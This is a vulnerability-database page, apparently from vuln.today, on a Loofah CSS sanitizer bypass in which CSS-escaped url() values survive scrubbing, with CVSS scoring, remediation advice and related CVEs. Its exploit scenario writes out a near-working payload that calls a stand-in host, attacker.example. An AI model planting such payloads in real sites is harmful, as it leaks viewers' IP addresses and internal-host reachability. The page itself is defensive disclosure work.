Skip to main content

Loofah CVE-2026-126207

| EUVDEUVD-2026-124713 MEDIUM
Incorrect Behavior Order: Validate Before Canonicalize (CWE-180)
2026-11-12 GitHub_M GHSA-m3x9-938q-5767
4.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject style with escaped url() in HTML
  2. Delivery
    Content passes Loofah < 2.25.3 sanitization
  3. Exploit
    CSS rebuilt with escapes decoded to live url()
  4. Execution
    Victim renders page (or hovers)
  5. Impact
    Browser issues request, leaking viewer IP/UA and internal-host reachability

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Leading special element handling
Exploitation Conditions

Exploitation requires an application running Loofah < 2.25.3 that sanitizes attacker-supplied HTML with the default allowlist and renders it to other users. The attacker supplies a style attribute whose url() is hidden from the first-parse checks using CSS escapes (escaped parentheses such as url\28 …\29, escaped property names, six-digit escapes, escaped comments, or escaped quotes); list-style fires the request on render with no interaction, while cursor fires it on hover. Limiting factors: a victim must actually render (or hover over) the malicious content (UI:R); the impact is a blind outbound request only - no response is readable and no script executes; and only versions below 2.25.3 are affected. The only complete fix stated by the vendor is upgrading to Loofah >= 2.25.3.

Impact

This is a genuine but modest-severity information-disclosure flaw, consistent with its 4.7 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N vector. The network vector and low complexity are credible: any attacker who can submit HTML that Loofah (< 2.25.3) sanitizes and that another user later views can trigger it. The scope change (S:C) is well-justified - the sanitizer's trust boundary is crossed so the impact lands on the viewer's browser rather than the server - and C:L/I:N/A:N correctly reflects that the only payoff is a blind outbound request leaking the viewer's IP, user agent, access timing, and reachability of internal-network hosts; no script survives and the attacker cannot read the response. UI:R (the viewer must render, or hover for the cursor variant) is the main limiter and keeps this out of the 'wormable/critical' tier. No EPSS score, no CISA KEV listing, and no exploit-availability signal are present in the input; the vuln.today decision label is 'this_month' (not act_now/emergency), so this is a patch-on-normal-cadence item rather than a drop-everything emergency. The chief caveat: the GHSA advisory publicly discloses the exact bypass technique and a near-working payload (url\28 …\29), which lowers the bar to reproduce even though no packaged exploit is cited.

Exploit ScenarioDerived

An attacker posts a comment, message, or profile field containing a style attribute such as list-style:url\28 http://attacker.example/beacon\29 into an application that sanitizes user HTML with Loofah's default allowlist and shows it to others. Loofah < 2.25.3 passes the first parse, then rebuilds the CSS with the escapes decoded into a live url(), so when any other user's browser renders the content it silently fetches the attacker's URL (or on hover, if cursor is used). No public packaged exploit is cited, but the GHSA advisory discloses the exact escaped-parenthesis technique.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 12, 2026

Loofah versions before 2.25.3 can emit a live CSS url() from a sanitized style attribute, causing a viewer's browser to make an attacker-chosen request when crafted content is rendered or hovered. This is an information-disclosure issue rated CVSS 4.7 Medium: the request can reveal the viewer's IP address, user agent, access timing, and access to internal-network hosts, but no script survives sanitization and the attacker cannot read the response. Remote, unauthenticated attackers can trigger it only when a victim renders or hovers over the content (UI:R); no public exploit was identified at time of analysis.

RemediationAI

Vendor-released patch: Loofah 2.25.3; upgrade to Loofah 2.25.3 or later, which the advisory states as the mitigation. For RubyGems deployments, update the dependency to loofah >= 2.25.3 (for example, bundle update loofah) and redeploy. The 2.25.3 changelog also raises runtime requirements to Ruby >= 3.2 and Nokogiri >= 1.19.5, so validate deployment compatibility before upgrading. The advisory does not list a workaround; the only complete fix stated by the vendor is upgrading to Loofah >= 2.25.3. Advisory: https://github.com/flavorjones/loofah/security/advisories/GHSA-m3x9-938q-5767; release: https://github.com/flavorjones/loofah/releases/tag/v2.25.3.

Affected VersionsENISA

loofah < 2.25.3

Affected Packages

rubygems loofah fix: 2.25.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in rubygems

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is in Loofah::HTML5::Scrub.scrub_css, the HTML5 sanitizer's CSS scrubber built on Nokogiri and the Crass CSS parser. Loofah checked only the first parse of a style attribute: it rejected properties whose top-level Crass tokens included :url or :bad_url and excluded url from allowed CSS functions. During rebuild, Loofah decoded CSS identifier escapes, so escaped parentheses such as url\28 ...\29 hid the url token from the initial checks and became a live url() that was not revalidated; the advisory also lists escaped property names, six-digit escapes, escaped comments, and escaped quotes as reaching the same result. list-style causes the browser to fetch on render without interaction, while cursor causes the fetch on hover. The impact is a blind outbound request only, with no readable response and no script execution. This is classified as CWE-180 (validate-before-canonicalize), with the advisory also noting CWE-184; the affected CPE is cpe:2.3:a:flavorjones:loofah:*:*:*:*:*:*:*:* for the rubygems/loofah package before 2.25.3.

Know when Loofah gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 4.7 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
vuln.today AI 4.7 MEDIUM

Attacker-supplied HTML is sanitized and rendered remotely with no auth (AV:N/AC:L/PR:N); the victim must render/hover (UI:R); the sanitizer boundary is crossed to the browser (S:C) leaking only limited data (C:L/I:N/A:N).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch available
Nov 12, 2026 - 22:02 EUVD
CVE Published
Nov 12, 2026 - 20:53 cve.org
MEDIUM 4.7

DescriptionCVE.org

Loofah is a general library for manipulating and transforming HTML/XML documents and fragments, built on top of Nokogiri. Prior to 2.25.3, Loofah::HTML5::Scrub.scrub_css checks only the first parse of a style attribute, then rebuilds CSS with identifier escapes decoded so escaped parentheses, property names, comments, or quotes can become a live url() without a second safety check. An attacker can use list-style to make a viewer's browser request an attacker-chosen URL when content renders, or cursor to make the request on hover. The request can disclose the viewer's IP address, user agent, access timing, and access to internal-network hosts, but no script survives sanitization and the attacker cannot read the response. This issue is fixed in version 2.25.3.

Threat Intelligence Overview

EPSS Score
0.3%
Top 79% exploitable
Prevalence
High
widely used Ruby HTML sanitizer, underpins rails-html-sanitizer in Rails apps
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Loofah

View all
CVE-2022-23518 MEDIUM POC
6.1 Dec 14

rails-html-sanitizer is responsible for sanitizing HTML fragments in Rails applications. Rated medium severity (CVSS 6.1

CVE-2026-126206 MEDIUM POC
5.3 Nov 12

A sanitizer bypass in the Ruby gem Loofah 2.25.2 lets a crafted data: URI slip past Loofah::HTML5::Scrub.allowed_uri? (a

CVE-2022-23516 HIGH
7.5 Dec 14

Loofah is a general library for manipulating and transforming HTML/XML documents and fragments, built on top of Nokogiri

CVE-2022-23514 HIGH
7.5 Dec 14

Loofah is a general library for manipulating and transforming HTML/XML documents and fragments, built on top of Nokogiri

CVE-2026-126203 MEDIUM
6.1 Nov 12

Mutation XSS in Loofah's HTML5 sanitization path (versions 2.21.0 through 2.25.2, running on Nokogiri before 1.19.5) let

CVE-2022-23515 MEDIUM
6.1 Dec 14

Loofah is a general library for manipulating and transforming HTML/XML documents and fragments, built on top of Nokogiri

CVE-2018-8048 MEDIUM
6.1 Mar 27

In the Loofah gem through 2.2.0 for Ruby, non-whitelisted HTML attributes may occur in sanitized output by republishing

CVE-2019-15587 MEDIUM
5.4 Oct 22

In the Loofah gem for Ruby through v2.3.0 unsanitized JavaScript may occur in sanitized output when a crafted SVG elemen

CVE-2018-16468 MEDIUM
5.4 Oct 30

In the Loofah gem for Ruby, through v2.2.2, unsanitized JavaScript may occur in sanitized output when a crafted SVG elem

CVE-2026-126205 MEDIUM
5.3 Nov 12

Quadratic-time regular-expression processing in Loofah's SVG local-reference check allows attacker-supplied HTML to cons

CVE-2026-73490 MEDIUM
4.7 Aug 12

SVG href attribute bypass in Loofah prior to 2.25.2 allows a crafted sanitized SVG to reference arbitrary same-origin ex

CVE-2026-73492 LOW
2.3 Aug 12

Cross-site scripting in Loofah 2.25.0-2.25.1 is possible when applications call `Loofah::HTML5::Scrub.allowed_uri?` dire

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy